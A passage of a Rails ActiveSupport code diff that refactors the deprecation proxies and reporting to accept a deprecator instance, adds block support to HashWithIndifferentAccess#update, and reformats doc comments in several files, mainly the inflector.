- #{options[method_name].inspect}),
- caller
- )
- send(:#{target}_without_deprecation#{punctuation}, *args, &block)
+ method_names.each do |method_name|
+ target_module.alias_method_chain(method_name, :deprecation) do |target, punctuation|
+ target_module.send(:define_method, "#{target}_with_deprecation#{punctuation}") do |*args, &block|
+ deprecator.deprecation_warning(method_name, options[method_name], caller)
+ send(:"#{target}_without_deprecation#{punctuation}", *args, &block)
end
- end_eval
+ end
end
end
end
diff --git a/activesupport/lib/active_support/deprecation/proxy_wrappers.rb b/activesupport/lib/active_support/deprecation/proxy_wrappers.rb
index a65fcafb44..17e69c34a5 100644
--- a/activesupport/lib/active_support/deprecation/proxy_wrappers.rb
+++ b/activesupport/lib/active_support/deprecation/proxy_wrappers.rb
@@ -1,7 +1,7 @@
require 'active_support/inflector/methods'
module ActiveSupport
- module Deprecation
+ class Deprecation
class DeprecationProxy #:nodoc:
def self.new(*args, &block)
object = args.first
@@ -25,10 +25,20 @@ module ActiveSupport
end
end
- class DeprecatedObjectProxy < DeprecationProxy #:nodoc:
- def initialize(object, message)
+ # This DeprecatedObjectProxy transforms object to depracated object.
+ #
+ # @old_object = DeprecatedObjectProxy.new(Object.new, "Don't use this object anymore!")
+ # @old_object = DeprecatedObjectProxy.new(Object.new, "Don't use this object anymore!", deprecator_instance)
+ #
+ # When someone execute any method expect +inspect+ on proxy object this will
+ # trigger +warn+ method on +deprecator_instance+.
+ #
+ # Default deprecator is <tt>ActiveSupport::Deprecation</tt>
+ class DeprecatedObjectProxy < DeprecationProxy
+ def initialize(object, message, deprecator = ActiveSupport::Deprecation.instance)
@object = object
@message = message
+ @deprecator = deprecator
end
private
@@ -37,15 +47,40 @@ module ActiveSupport
end
def warn(callstack, called, args)
- ActiveSupport::Deprecation.warn(@message, callstack)
+ @deprecator.warn(@message, callstack)
end
end
- # Stand-in for <tt>@request</tt>, <tt>@attributes</tt>, <tt>@params</tt>, etc.
- # which emits deprecation warnings on any method call (except +inspect+).
- class DeprecatedInstanceVariableProxy < DeprecationProxy #:nodoc:
- def initialize(instance, method, var = "@#{method}")
- @instance, @method, @var = instance, method, var
+ # This DeprecatedInstanceVariableProxy transforms instance variable to
+ # depracated instance variable.
+ #
+ # class Example
+ # def initialize(deprecator)
+ # @request = ActiveSupport::Deprecation::DeprecatedInstanceVariableProxy.new(self, :request, :@request, deprecator)
+ # @_request = :a_request
+ # end
+ #
+ # def request
+ # @_request
+ # end
+ #
+ # def old_request
+ # @request
+ # end
+ # end
+ #
+ # When someone execute any method on @request variable this will trigger
+ # +warn+ method on +deprecator_instance+ and will fetch <tt>@_request</tt>
+ # variable via +request+ method and execute the same method on non-proxy
+ # instance variable.
+ #
+ # Default deprecator is <tt>ActiveSupport::Deprecation</tt>.
+ class DeprecatedInstanceVariableProxy < DeprecationProxy
+ def initialize(instance, method, var = "@#{method}", deprecator = ActiveSupport::Deprecation.instance)
+ @instance = instance
+ @method = method
+ @var = var
+ @deprecator = deprecator
end
private
@@ -54,14 +89,24 @@ module ActiveSupport
end
def warn(callstack, called, args)
- ActiveSupport::Deprecation.warn("#{@var} is deprecated! Call #{@method}.#{called} instead of #{@var}.#{called}. Args: #{args.inspect}", callstack)
+ @deprecator.warn("#{@var} is deprecated! Call #{@method}.#{called} instead of #{@var}.#{called}. Args: #{args.inspect}", callstack)
end
end
- class DeprecatedConstantProxy < DeprecationProxy #:nodoc:all
- def initialize(old_const, new_const)
+ # This DeprecatedConstantProxy transforms constant to depracated constant.
+ #
+ # OLD_CONST = ActiveSupport::Deprecation::DeprecatedConstantProxy.new('OLD_CONST', 'NEW_CONST')
+ # OLD_CONST = ActiveSupport::Deprecation::DeprecatedConstantProxy.new('OLD_CONST', 'NEW_CONST', deprecator_instance)
+ #
+ # When someone use old constant this will trigger +warn+ method on
+ # +deprecator_instance+.
+ #
+ # Default deprecator is <tt>ActiveSupport::Deprecation</tt>.
+ class DeprecatedConstantProxy < DeprecationProxy
+ def initialize(old_const, new_const, deprecator = ActiveSupport::Deprecation.instance)
@old_const = old_const
@new_const = new_const
+ @deprecator = deprecator
end
def class
@@ -74,7 +119,7 @@ module ActiveSupport
end
def warn(callstack, called, args)
- ActiveSupport::Deprecation.warn("#{@old_const} is deprecated! Use #{@new_const} instead.", callstack)
+ @deprecator.warn("#{@old_const} is deprecated! Use #{@new_const} instead.", callstack)
end
end
end
diff --git a/activesupport/lib/active_support/deprecation/reporting.rb b/activesupport/lib/active_support/deprecation/reporting.rb
index a1e9618084..1ce54d9381 100644
--- a/activesupport/lib/active_support/deprecation/reporting.rb
+++ b/activesupport/lib/active_support/deprecation/reporting.rb
@@ -1,12 +1,15 @@
module ActiveSupport
- module Deprecation
- class << self
+ class Deprecation
+ module Reporting
+ # Whether to print a message (silent mode)
attr_accessor :silenced
+ # Name of gem where method is deprecated
+ attr_accessor :gem_name
# Outputs a deprecation warning to the output configured by
# <tt>ActiveSupport::Deprecation.behavior</tt>.
#
- # ActiveSupport::Deprecation.warn("something broke!")
+ # ActiveSupport::Deprecation.warn('something broke!')
# # => "DEPRECATION WARNING: something broke! (called from your_code.rb:1)"
def warn(message = nil, callstack = caller)
return if silenced
@@ -17,11 +20,11 @@ module ActiveSupport
# Silence deprecation warnings within the block.
#
- # ActiveSupport::Deprecation.warn("something broke!")
+ # ActiveSupport::Deprecation.warn('something broke!')
# # => "DEPRECATION WARNING: something broke! (called from your_code.rb:1)"
#
# ActiveSupport::Deprecation.silence do
- # ActiveSupport::Deprecation.warn("something broke!")
+ # ActiveSupport::Deprecation.warn('something broke!')
# end
# # => nil
def silence
@@ -31,16 +34,30 @@ module ActiveSupport
@silenced = old_silenced
end
- def deprecated_method_warning(method_name, message = nil)
- warning = "#{method_name} is deprecated and will be removed from Rails #{deprecation_horizon}"
- case message
- when Symbol then "#{warning} (use #{message} instead)"
- when String then "#{warning} (#{message})"
- else warning
+ def deprecation_warning(deprecated_method_name, message = nil, caller_backtrace = caller)
+ deprecated_method_warning(deprecated_method_name, message).tap do |msg|
+ warn(msg, caller_backtrace)
end
end
private
+ # Outputs a deprecation warning message
+ #
+ # ActiveSupport::Deprecation.deprecated_method_warning(:method_name)
+ # # => "method_name is deprecated and will be removed from Rails #{deprecation_horizon}"
+ # ActiveSupport::Deprecation.deprecated_method_warning(:method_name, :another_method)
+ # # => "method_name is deprecated and will be removed from Rails #{deprecation_horizon} (use another_method instead)"
+ # ActiveSupport::Deprecation.deprecated_method_warning(:method_name, "Optional message")
+ # # => "method_name is deprecated and will be removed from Rails #{deprecation_horizon} (Optional message)"
+ def deprecated_method_warning(method_name, message = nil)
+ warning = "#{method_name} is deprecated and will be removed from #{gem_name} #{deprecation_horizon}"
+ case message
+ when Symbol then "#{warning} (use #{message} instead)"
+ when String then "#{warning} (#{message})"
+ else warning
+ end
+ end
+
def deprecation_message(callstack, message = nil)
message ||= "You are using deprecated behavior which will be removed from the next major or minor release."
message += '.' unless message =~ /\.$/
diff --git a/activesupport/lib/active_support/duration.rb b/activesupport/lib/active_support/duration.rb
index a0139b7d8e..7e99646117 100644
--- a/activesupport/lib/active_support/duration.rb
+++ b/activesupport/lib/active_support/duration.rb
@@ -6,7 +6,7 @@ module ActiveSupport
# Provides accurate date and time measurements using Date#advance and
# Time#advance, respectively. It mainly supports the methods on Numeric.
#
- # 1.month.ago # equivalent to Time.now.advance(:months => -1)
+ # 1.month.ago # equivalent to Time.now.advance(months: -1)
class Duration < BasicObject
attr_accessor :value, :parts
@@ -39,8 +39,8 @@ module ActiveSupport
end
alias :kind_of? :is_a?
- # Returns true if <tt>other</tt> is also a Duration instance with the
- # same <tt>value</tt>, or if <tt>other == value</tt>.
+ # Returns +true+ if +other+ is also a Duration instance with the
+ # same +value+, or if <tt>other == value</tt>.
def ==(other)
if Duration === other
other.value == value
diff --git a/activesupport/lib/active_support/file_update_checker.rb b/activesupport/lib/active_support/file_update_checker.rb
index 1cc852a3e6..a6b9aa3503 100644
--- a/activesupport/lib/active_support/file_update_checker.rb
+++ b/activesupport/lib/active_support/file_update_checker.rb
@@ -1,23 +1,21 @@
module ActiveSupport
- # \FileUpdateChecker specifies the API used by Rails to watch files
+ # FileUpdateChecker specifies the API used by Rails to watch files
# and control reloading. The API depends on four methods:
#
# * +initialize+ which expects two parameters and one block as
- # described below;
+ # described below.
#
# * +updated?+ which returns a boolean if there were updates in
- # the filesystem or not;
+ # the filesystem or not.
#
# * +execute+ which executes the given block on initialization
- # and updates the latest watched files and timestamp;
+ # and updates the latest watched files and timestamp.
#
- # * +execute_if_updated+ which just executes the block if it was updated;
+ # * +execute_if_updated+ which just executes the block if it was updated.
#
# After initialization, a call to +execute_if_updated+ must execute
# the block only if there was really a change in the filesystem.
#
- # == Examples
- #
# This class is used by Rails to reload the I18n framework whenever
# they are changed upon a new request.
#
@@ -28,7 +26,6 @@ module ActiveSupport
# ActionDispatch::Reloader.to_prepare do
# i18n_reloader.execute_if_updated
# end
- #
class FileUpdateChecker
# It accepts two parameters on initialization. The first is an array
# of files and the second is an optional hash of directories. The hash must
@@ -52,7 +49,7 @@ module ActiveSupport
# Check if any of the entries were updated. If so, the watched and/or
# updated_at values are cached until the block is executed via +execute+
- # or +execute_if_updated+
+ # or +execute_if_updated+.
def updated?
current_watched = watched
if @last_watched.size != current_watched.size
@@ -70,7 +67,8 @@ module ActiveSupport
end
end
- # Executes the given block and updates the latest watched files and timestamp.
+ # Executes the given block and updates the latest watched files and
+ # timestamp.
def execute
@last_watched = watched
@last_update_at = updated_at(@last_watched)
diff --git a/activesupport/lib/active_support/hash_with_indifferent_access.rb b/activesupport/lib/active_support/hash_with_indifferent_access.rb
index 5fd20673d8..0c78f1611f 100644
--- a/activesupport/lib/active_support/hash_with_indifferent_access.rb
+++ b/activesupport/lib/active_support/hash_with_indifferent_access.rb
@@ -1,7 +1,8 @@
require 'active_support/core_ext/hash/keys'
module ActiveSupport
- # Implements a hash where keys <tt>:foo</tt> and <tt>"foo"</tt> are considered to be the same.
+ # Implements a hash where keys <tt>:foo</tt> and <tt>"foo"</tt> are considered
+ # to be the same.
#
# rgb = ActiveSupport::HashWithIndifferentAccess.new
#
@@ -15,17 +16,17 @@ module ActiveSupport
#
# Internally symbols are mapped to strings when used as keys in the entire
# writing interface (calling <tt>[]=</tt>, <tt>merge</tt>, etc). This
- # mapping belongs to the public interface. For example, given
+ # mapping belongs to the public interface. For example, given:
#
- # hash = ActiveSupport::HashWithIndifferentAccess.new(:a => 1)
+ # hash = ActiveSupport::HashWithIndifferentAccess.new(a: 1)
#
- # you are guaranteed that the key is returned as a string:
+ # You are guaranteed that the key is returned as a string:
#
# hash.keys # => ["a"]
#
# Technically other types of keys are accepted:
#
- # hash = ActiveSupport::HashWithIndifferentAccess.new(:a => 1)
+ # hash = ActiveSupport::HashWithIndifferentAccess.new(a: 1)
# hash[0] = 0
# hash # => {"a"=>1, 0=>0}
#
@@ -35,11 +36,11 @@ module ActiveSupport
#
# Note that core extensions define <tt>Hash#with_indifferent_access</tt>:
#
- # rgb = {:black => '#000000', :white => '#FFFFFF'}.with_indifferent_access
+ # rgb = { black: '#000000', white: '#FFFFFF' }.with_indifferent_access
#
# which may be handy.
class HashWithIndifferentAccess < Hash
- # Returns true so that <tt>Array#extract_options!</tt> finds members of
+ # Returns +true+ so that <tt>Array#extract_options!</tt> finds members of
# this class.
def extractable_options?
true
@@ -86,22 +87,22 @@ module ActiveSupport
# Assigns a new value to the hash:
#
# hash = ActiveSupport::HashWithIndifferentAccess.new
- # hash[:key] = "value"
+ # hash[:key] = 'value'
#
- # This value can be later fetched using either +:key+ or +"key"+.
+ # This value can be later fetched using either +:key+ or +'key'+.
def []=(key, value)
regular_writer(convert_key(key), convert_value(value))
end
alias_method :store, :[]=
- # Updates the receiver in-place merging in the hash passed as argument:
+ # Updates the receiver in-place, merging in the hash passed as argument:
#
# hash_1 = ActiveSupport::HashWithIndifferentAccess.new
- # hash_2[:key] = "value"
+ # hash_1[:key] = 'value'
#
# hash_2 = ActiveSupport::HashWithIndifferentAccess.new
- # hash_2[:key] = "New Value!"
+ # hash_2[:key] = 'New Value!'
#
# hash_1.update(hash_2) # => {"key"=>"New Value!"}
#
@@ -110,12 +111,26 @@ module ActiveSupport
# In either case the merge respects the semantics of indifferent access.
#
# If the argument is a regular hash with keys +:key+ and +"key"+ only one
- # of the values end up in the receiver, but which was is unespecified.
+ # of the values end up in the receiver, but which one is unspecified.
+ #
+ # When given a block, the value for duplicated keys will be determined
+ # by the result of invoking the block with the duplicated key, the value
+ # in the receiver, and the value in +other_hash+. The rules for duplicated
+ # keys follow the semantics of indifferent access:
+ #
+ # hash_1[:key] = 10
+ # hash_2['key'] = 12
+ # hash_1.update(hash_2) { |key, old, new| old + new } # => {"key"=>22}
def update(other_hash)
if other_hash.is_a? HashWithIndifferentAccess
super(other_hash)
else
- other_hash.each_pair { |key, value| regular_writer(convert_key(key), convert_value(value)) }
+ other_hash.each_pair do |key, value|
+ if block_given? && key?(key)
+ value = yield(convert_key(key), self[key], value)
+ end
+ regular_writer(convert_key(key), convert_value(value))
+ end
self
end
end
@@ -125,10 +140,9 @@ module ActiveSupport
# Checks the hash for a key matching the argument passed in:
#
# hash = ActiveSupport::HashWithIndifferentAccess.new
- # hash["key"] = "value"
+ # hash['key'] = 'value'
# hash.key?(:key) # => true
- # hash.key?("key") # => true
- #
+ # hash.key?('key') # => true
def key?(key)
super(convert_key(key))
end
@@ -143,11 +157,10 @@ module ActiveSupport
# counters = ActiveSupport::HashWithIndifferentAccess.new
# counters[:foo] = 1
#
- # counters.fetch("foo") # => 1
+ # counters.fetch('foo') # => 1
# counters.fetch(:bar, 0) # => 0
# counters.fetch(:bar) {|key| 0} # => 0
# counters.fetch(:zoo) # => KeyError: key not found: "zoo"
- #
def fetch(key, *extras)
super(convert_key(key), *extras)
end
@@ -155,10 +168,9 @@ module ActiveSupport
# Returns an array of the values at the specified indices:
#
# hash = ActiveSupport::HashWithIndifferentAccess.new
- # hash[:a] = "x"
- # hash[:b] = "y"
- # hash.values_at("a", "b") # => ["x", "y"]
- #
+ # hash[:a] = 'x'
+ # hash[:b] = 'y'
+ # hash.values_at('a', 'b') # => ["x", "y"]
def values_at(*indices)
indices.collect {|key| self[convert_key(key)]}
end
@@ -173,8 +185,8 @@ module ActiveSupport
# This method has the same semantics of +update+, except it does not
# modify the receiver but rather returns a new hash with indifferent
# access with the result of the merge.
- def merge(hash)
- self.dup.update(hash)
+ def merge(hash, &block)
+ self.dup.update(hash, &block)
end
# Like +merge+ but the other way around: Merges the receiver into the
@@ -182,8 +194,7 @@ module ActiveSupport
#
# hash = ActiveSupport::HashWithIndifferentAccess.new
# hash['a'] = nil
- # hash.reverse_merge(:a => 0, :b => 1) # => {"a"=>nil, "b"=>1}
- #
+ # hash.reverse_merge(a: 0, b: 1) # => {"a"=>nil, "b"=>1}
def reverse_merge(other_hash)
super(self.class.new_from_hash_copying_default(other_hash))
end
diff --git a/activesupport/lib/active_support/i18n_railtie.rb b/activesupport/lib/active_support/i18n_railtie.rb
index f67b221024..890dd9380b 100644
--- a/activesupport/lib/active_support/i18n_railtie.rb
+++ b/activesupport/lib/active_support/i18n_railtie.rb
@@ -16,7 +16,7 @@ module I18n
end
# Trigger i18n config before any eager loading has happened
- # so it's ready if any classes require it when eager loaded
+ # so it's ready if any classes require it when eager loaded.
config.before_eager_load do |app|
I18n::Railtie.initialize_i18n(app)
end
@@ -25,7 +25,7 @@ module I18n
@i18n_inited = false
- # Setup i18n configuration
+ # Setup i18n configuration.
def self.initialize_i18n(app)
return if @i18n_inited
diff --git a/activesupport/lib/active_support/inflector/inflections.rb b/activesupport/lib/active_support/inflector/inflections.rb
index 091692e5a4..af506d6f2e 100644
--- a/activesupport/lib/active_support/inflector/inflections.rb
+++ b/activesupport/lib/active_support/inflector/inflections.rb
@@ -5,9 +5,10 @@ module ActiveSupport
module Inflector
extend self
- # A singleton instance of this class is yielded by Inflector.inflections, which can then be used to specify additional
- # inflection rules. If passed an optional locale, rules for other languages can be specified. The default locale is
- # <tt>:en</tt>. Only rules for English are provided.
+ # A singleton instance of this class is yielded by Inflector.inflections,
+ # which can then be used to specify additional inflection rules. If passed
+ # an optional locale, rules for other languages can be specified. The
+ # default locale is <tt>:en</tt>. Only rules for English are provided.
#
# ActiveSupport::Inflector.inflections(:en) do |inflect|
# inflect.plural /^(ox)$/i, '\1\2en'
@@ -15,12 +16,13 @@ module ActiveSupport
#
# inflect.irregular 'octopus', 'octopi'
#
- # inflect.uncountable "equipment"
+ # inflect.uncountable 'equipment'
# end
#
- # New rules are added at the top. So in the example above, the irregular rule for octopus will now be the first of the
- # pluralization and singularization rules that is runs. This guarantees that your rules run before any of the rules that may
- # already have been loaded.
+ # New rules are added at the top. So in the example above, the irregular
+ # rule for octopus will now be the first of the pluralization and
+ # singularization rules that is runs. This guarantees that your rules run
+ # before any of the rules that may already have been loaded.
class Inflections
def self.instance(locale = :en)
@__instance__ ||= Hash.new { |h, k| h[k] = new }
@@ -34,36 +36,40 @@ module ActiveSupport
end
# Private, for the test suite.
- def initialize_dup(orig)
+ def initialize_dup(orig) # :nodoc:
%w(plurals singulars uncountables humans acronyms acronym_regex).each do |scope|
instance_variable_set("@#{scope}", orig.send(scope).dup)
end
end
- # Specifies a new acronym. An acronym must be specified as it will appear in a camelized string. An underscore
- # string that contains the acronym will retain the acronym when passed to `camelize`, `humanize`, or `titleize`.
- # A camelized string that contains the acronym will maintain the acronym when titleized or humanized, and will
- # convert the acronym into a non-delimited single lowercase word when passed to +underscore+.
+ # Specifies a new acronym. An acronym must be specified as it will appear
+ # in a camelized string. An underscore string that contains the acronym
+ # will retain the acronym when passed to +camelize+, +humanize+, or
+ # +titleize+. A camelized string that contains the acronym will maintain
+ # the acronym when titleized or humanized, and will convert the acronym
+ # into a non-delimited single lowercase word when passed to +underscore+.
#
# acronym 'HTML'
- # titleize 'html' #=> 'HTML'
- # camelize 'html' #=> 'HTML'
+ # titleize 'html' #=> 'HTML'
+ # camelize 'html' #=> 'HTML'
# underscore 'MyHTML' #=> 'my_html'
#
- # The acronym, however, must occur as a delimited unit and not be part of another word for conversions to recognize it:
+ # The acronym, however, must occur as a delimited unit and not be part of
+ # another word for conversions to recognize it:
#
# acronym 'HTTP'
# camelize 'my_http_delimited' #=> 'MyHTTPDelimited'
- # camelize 'https' #=> 'Https', not 'HTTPs'
- # underscore 'HTTPS' #=> 'http_s', not 'https'
+ # camelize 'https' #=> 'Https', not 'HTTPs'
+ # underscore 'HTTPS' #=> 'http_s', not 'https'
#
# acronym 'HTTPS'
- # camelize 'https' #=> 'HTTPS'
+ # camelize 'https' #=> 'HTTPS'
# underscore 'HTTPS' #=> 'https'
#
- # Note: Acronyms that are passed to `pluralize` will no longer be recognized, since the acronym will not occur as
- # a delimited unit in the pluralized result. To work around this, you must specify the pluralized form as an
- # acronym as well:
+ # Note: Acronyms that are passed to +pluralize+ will no longer be
+ # recognized, since the acronym will not occur as a delimited unit in the
+ # pluralized result. To work around this, you must specify the pluralized
+ # form as an acronym as well:
#
# acronym 'API'
# camelize(pluralize('api')) #=> 'Apis'
@@ -71,42 +77,49 @@ module ActiveSupport
# acronym 'APIs'
# camelize(pluralize('api')) #=> 'APIs'
#
- # `acronym` may be used to specify any word that contains an acronym or otherwise needs to maintain a non-standard
- # capitalization. The only restriction is that the word must begin with a capital letter.
+ # +acronym+ may be used to specify any word that contains an acronym or
+ # otherwise needs to maintain a non-standard capitalization. The only
+ # restriction is that the word must begin with a capital letter.
#
# acronym 'RESTful'
- # underscore 'RESTful' #=> 'restful'
+ # underscore 'RESTful' #=> 'restful'
# underscore 'RESTfulController' #=> 'restful_controller'
- # titleize 'RESTfulController' #=> 'RESTful Controller'
- # camelize 'restful' #=> 'RESTful'
- # camelize 'restful_controller' #=> 'RESTfulController'
+ # titleize 'RESTfulController' #=> 'RESTful Controller'
+ # camelize 'restful' #=> 'RESTful'
+ # camelize 'restful_controller' #=> 'RESTfulController'
#
# acronym 'McDonald'
# underscore 'McDonald' #=> 'mcdonald'
- # camelize 'mcdonald' #=> 'McDonald'
+ # camelize 'mcdonald' #=> 'McDonald'
def acronym(word)
@acronyms[word.downcase] = word
@acronym_regex = /#{@acronyms.values.join("|")}/
end
- # Specifies a new pluralization rule and its replacement. The rule can either be a string or a regular expression.
- # The replacement should always be a string that may include references to the matched data from the rule.
+ # Specifies a new pluralization rule and its replacement. The rule can
+ # either be a string or a regular expression. The replacement should
+ # always be a string that may include references to the matched data from
+ # the rule.
def plural(rule, replacement)
@uncountables.delete(rule) if rule.is_a?(String)
@uncountables.delete(replacement)
@plurals.prepend([rule, replacement])
end
- # Specifies a new singularization rule and its replacement. The rule can either be a string or a regular expression.
- # The replacement should always be a string that may include references to the matched data from the rule.
+ # Specifies a new singularization rule and its replacement. The rule can
+ # either be a string or a regular expression. The replacement should
+ # always be a string that may include references to the matched data from
+ # the rule.
def singular(rule, replacement)
@uncountables.delete(rule) if rule.is_a?(String)
@uncountables.delete(replacement)
@singulars.prepend([rule, replacement])
end
- # Specifies a new irregular that applies to both pluralization and singularization at the same time. This can only be used
- # for strings, not regular expressions. You simply pass the irregular in singular and plural form.
+ # Specifies a new irregular that applies to both pluralization and
+ # singularization at the same time. This can only be used for strings, not
+ # regular expressions. You simply pass the irregular in singular and
+ # plural form.
#
# irregular 'octopus', 'octopi'
# irregular 'person', 'people'
@@ -129,26 +142,29 @@ module ActiveSupport
# Add uncountable words that shouldn't be attempted inflected.
#
- # uncountable "money"
- # uncountable "money", "information"
+ # uncountable 'money'
+ # uncountable 'money', 'information'
# uncountable %w( money information rice )
def uncountable(*words)
(@uncountables << words).flatten!
end
- # Specifies a humanized form of a string by a regular expression rule or by a string mapping.
- # When using a regular expression based replacement, the normal humanize formatting is called after the replacement.
- # When a string is used, the human form should be specified as desired (example: 'The name', not 'the_name')
+ # Specifies a humanized form of a string by a regular expression rule or
+ # by a string mapping. When using a regular expression based replacement,
+ # the normal humanize formatting is called after the replacement. When a
+ # string is used, the human form should be specified as desired (example:
+ # 'The name', not 'the_name').
#
# human /_cnt$/i, '\1_count'
- # human "legacy_col_person_name", "Name"
+ # human 'legacy_col_person_name', 'Name'
def human(rule, replacement)
@humans.prepend([rule, replacement])
end
- # Clears the loaded inflections within a given scope (default is <tt>:all</tt>).
- # Give the scope as a symbol of the inflection type, the options are: <tt>:plurals</tt>,
- # <tt>:singulars</tt>, <tt>:uncountables</tt>, <tt>:humans</tt>.
+ # Clears the loaded inflections within a given scope (default is
+ # <tt>:all</tt>). Give the scope as a symbol of the inflection type, the
+ # options are: <tt>:plurals</tt>, <tt>:singulars</tt>, <tt>:uncountables</tt>,
+ # <tt>:humans</tt>.
#
# clear :all
# clear :plurals
@@ -162,13 +178,13 @@ module ActiveSupport
end
end
- # Yields a singleton instance of Inflector::Inflections so you can specify additional
- # inflector rules. If passed an optional locale, rules for other languages can be specified.
- # If not specified, defaults to <tt>:en</tt>. Only rules for English are provided.
- #
+ # Yields a singleton instance of Inflector::Inflections so you can specify
+ # additional inflector rules. If passed an optional locale, rules for other
+ # languages can be specified. If not specified, defaults to <tt>:en</tt>.
+ # Only rules for English are provided.
#
# ActiveSupport::Inflector.inflections(:en) do |inflect|
- # inflect.uncountable "rails"
+ # inflect.uncountable 'rails'
# end
def inflections(locale = :en)
if block_given?
diff --git a/activesupport/lib/active_support/inflector/methods.rb b/activesupport/lib/active_support/inflector/methods.rb
index 44214d16fa..3910a2dc42 100644
--- a/activesupport/lib/active_support/inflector/methods.rb
+++ b/activesupport/lib/active_support/inflector/methods.rb
@@ -4,14 +4,16 @@ require 'active_support/inflector/inflections'
require 'active_support/inflections'
module ActiveSupport
- # The Inflector transforms words from singular to plural, class names to table names, modularized class names to ones without,
- # and class names to foreign keys. The default inflections for pluralization, singularization, and uncountable words are kept
- # in inflections.rb.
+ # The Inflector transforms words from singular to plural, class names to table
+ # names, modularized class names to ones without, and class names to foreign
+ # keys. The default inflections for pluralization, singularization, and
+ # uncountable words are kept in inflections.rb.
#
- # The Rails core team has stated patches for the inflections library will not be accepted
- # in order to avoid breaking legacy applications which may be relying on errant inflections.
- # If you discover an incorrect inflection and require it for your application or wish to
- # define rules for languages other than English, please correct or add them yourself (explained below).
+ # The Rails core team has stated patches for the inflections library will not
+ # be accepted in order to avoid breaking legacy applications which may be
+ # relying on errant inflections. If you discover an incorrect inflection and
+ # require it for your application or wish to define rules for languages other
+ # than English, please correct or add them yourself (explained below).
module Inflector
extend self
@@ -21,46 +23,49 @@ module ActiveSupport
# pluralized using rules defined for that language. By default,
# this parameter is set to <tt>:en</tt>.
#
- # "post".pluralize # => "posts"
- # "octopus".pluralize # => "octopi"
- # "sheep".pluralize # => "sheep"
- # "words".pluralize # => "words"
- # "CamelOctopus".pluralize # => "CamelOctopi"
- # "ley".pluralize(:es) # => "leyes"
+ # 'post'.pluralize # => "posts"
+ # 'octopus'.pluralize # => "octopi"
+ # 'sheep'.pluralize # => "sheep"
+ # 'words'.pluralize # => "words"
+ # 'CamelOctopus'.pluralize # => "CamelOctopi"
+ # 'ley'.pluralize(:es) # => "leyes"
def pluralize(word, locale = :en)
apply_inflections(word, inflections(locale).plurals)
end
- # The reverse of +pluralize+, returns the singular form of a word in a string.
+ # The reverse of +pluralize+, returns the singular form of a word in a
+ # string.
#
# If passed an optional +locale+ parameter, the word will be
# pluralized using rules defined for that language. By default,
# this parameter is set to <tt>:en</tt>.
#
- # "posts".singularize # => "post"
- # "octopi".singularize # => "octopus"
- # "sheep".singularize # => "sheep"
- # "word".singularize # => "word"
- # "CamelOctopi".singularize # => "CamelOctopus"
- # "leyes".singularize(:es) # => "ley"
+ # 'posts'.singularize # => "post"
+ # 'octopi'.singularize # => "octopus"
+ # 'sheep'.singularize # => "sheep"
+ # 'word'.singularize # => "word"
+ # 'CamelOctopi'.singularize # => "CamelOctopus"
+ # 'leyes'.singularize(:es) # => "ley"
def singularize(word, locale = :en)
apply_inflections(word, inflections(locale).singulars)
end
- # By default, +camelize+ converts strings to UpperCamelCase. If the argument to +camelize+
- # is set to <tt>:lower</tt> then +camelize+ produces lowerCamelCase.
+ # By default, +camelize+ converts strings to UpperCamelCase. If the argument
+ # to +camelize+ is set to <tt>:lower</tt> then +camelize+ produces
+ # lowerCamelCase.
#
- # +camelize+ will also convert '/' to '::' which is useful for converting paths to namespaces.
+ # +camelize+ will also convert '/' to '::' which is useful for converting
+ # paths to namespaces.
#
- # "active_model".camelize # => "ActiveModel"
- # "active_model".camelize(:lower) # => "activeModel"
- # "active_model/errors".camelize # => "ActiveModel::Errors"
- # "active_model/errors".camelize(:lower) # => "activeModel::Errors"
+ # 'active_model'.camelize # => "ActiveModel"
+ # 'active_model'.camelize(:lower) # => "activeModel"
+ # 'active_model/errors'.camelize # => "ActiveModel::Errors"
+ # 'active_model/errors'.camelize(:lower) # => "activeModel::Errors"
#
- # As a rule of thumb you can think of +camelize+ as the inverse of +underscore+,
- # though there are cases where that does not hold:
+ # As a rule of thumb you can think of +camelize+ as the inverse of
+ # +underscore+, though there are cases where that does not hold:
#
- # "SSLError".underscore.camelize # => "SslError"
+ # 'SSLError'.underscore.camelize # => "SslError"
def camelize(term, uppercase_first_letter = true)
string = term.to_s
if uppercase_first_letter
@@ -75,13 +80,13 @@ module ActiveSupport
#
# Changes '::' to '/' to convert namespaces to paths.
#
- # "ActiveModel".underscore # => "active_model"
- # "ActiveModel::Errors".underscore # => "active_model/errors"
+ # 'ActiveModel'.underscore # => "active_model"
+ # 'ActiveModel::Errors'.underscore # => "active_model/errors"
#
- # As a rule of thumb you can think of +underscore+ as the inverse of +camelize+,
- # though there are cases where that does not hold:
+ # As a rule of thumb you can think of +underscore+ as the inverse of
+ # +camelize+, though there are cases where that does not hold:
#
- # "SSLError".underscore.camelize # => "SslError"
+ # 'SSLError'.underscore.camelize # => "SslError"
def underscore(camel_cased_word)
word = camel_cased_word.to_s.dup
word.gsub!('::', '/')
@@ -94,10 +99,11 @@ module ActiveSupport
end
# Capitalizes the first word and turns underscores into spaces and strips a
- # trailing "_id", if any. Like +titleize+, this is meant for creating pretty output.
+ # trailing "_id", if any. Like +titleize+, this is meant for creating pretty
+ # output.
#
- # "employee_salary" # => "Employee salary"
- # "author_id" # => "Author"
+ # 'employee_salary'.humanize # => "Employee salary"
+ # 'author_id'.humanize # => "Author"
def humanize(lower_case_and_underscored_word)
result = lower_case_and_underscored_word.to_s.dup
inflections.humans.each { |(rule, replacement)| break if result.sub!(rule, replacement) }
@@ -108,39 +114,40 @@ module ActiveSupport
}.gsub(/^\w/) { $&.upcase }
end
- # Capitalizes all the words and replaces some characters in the string to create
- # a nicer looking title. +titleize+ is meant for creating pretty output. It is not
- # used in the Rails internals.
+ # Capitalizes all the words and replaces some characters in the string to
+ # create a nicer looking title. +titleize+ is meant for creating pretty
+ # output. It is not used in the Rails internals.
#
# +titleize+ is also aliased as +titlecase+.
#
- # "man from the boondocks".titleize # => "Man From The Boondocks"
- # "x-men: the last stand".titleize # => "X Men: The Last Stand"
- # "TheManWithoutAPast".titleize # => "The Man Without A Past"
- # "raiders_of_the_lost_ark".titleize # => "Raiders Of The Lost Ark"
+ # 'man from the boondocks'.titleize # => "Man From The Boondocks"
+ # 'x-men: the last stand'.titleize # => "X Men: The Last Stand"
+ # 'TheManWithoutAPast'.titleize # => "The Man Without A Past"
+ # 'raiders_of_the_lost_ark'.titleize # => "Raiders Of The Lost Ark"
def titleize(word)
humanize(underscore(word)).gsub(/\b(?<!['’`])[a-z]/) { $&.capitalize }
end
- # Create the name of a table like Rails does for models to table names. This method
- # uses the +pluralize+ method on the last word in the string.
